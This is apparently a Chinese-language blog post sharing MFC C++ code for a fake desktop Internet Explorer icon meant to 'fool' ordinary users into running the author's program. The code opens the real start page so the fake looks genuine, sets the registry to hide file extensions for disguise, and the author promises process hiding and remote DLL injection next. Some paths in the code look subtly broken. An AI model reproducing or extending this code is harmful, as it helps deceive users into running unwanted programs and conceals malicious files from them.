1、先自己在网上找个IE的图标做资源
2、下面的代码目的是替换桌面上的IE图标,可以“忽悠”用户达到程序的运行权。咋的一看,IE一模一样,主页也没被修改,可双击打开的多了个你自己设定的网页,这样欺骗一下“普通用户”的视觉还是没问题的~~~~~~
void CMFCDlg::OnBtnIe7()
{
// TODO: Add your control notification handler code here
//读取IE主页设置、及IE路径
TCHAR szExePath[] = _T("C://Program Files//Internet Explorer//IEXPLORE.EXE");
char szStartPage[MAX_PATH];
HKEY hKey1;
// 打开注册表
if(RegOpenKey(HKEY_CURRENT_USER,_T("Software//Microsoft//Internet Explorer//Main"),&hKey1)!=ERROR_SUCCESS)
{
MessageBox(_T("读取IE主页失败!"));
return;
}
// 设置注册表键值
DWORD dwSize = sizeof(szStartPage);
RegQueryValueEx(hKey1,_T("Start Page"),NULL,NULL,(LPBYTE)szStartPage,&dwSize);
RegCloseKey(hKey1);
ShellExecute(NULL, "open", szStartPage, NULL, NULL, SW_SHOWNORMAL);
//修改文件扩展名隐藏属性
char buffer[]="Software//Microsoft//Windows//CurrentVersion//Explorer//Advanced";
HKEY hKey2;
DWORD Data=1;
RegOpenKeyEx(HKEY_CURRENT_USER,buffer,0,KEY_ALL_ACCESS,&hKey2);
RegSetValueEx(hKey2,"HideFileExt",0,REG_DWORD,(CONST BYTE*)&Data,4);
RegCloseKey(hKey2);
}
后面的功能还待完善,预计会在进程隐藏、远程DLL注入及不同IE版本等方面的予以改进,敬请关注!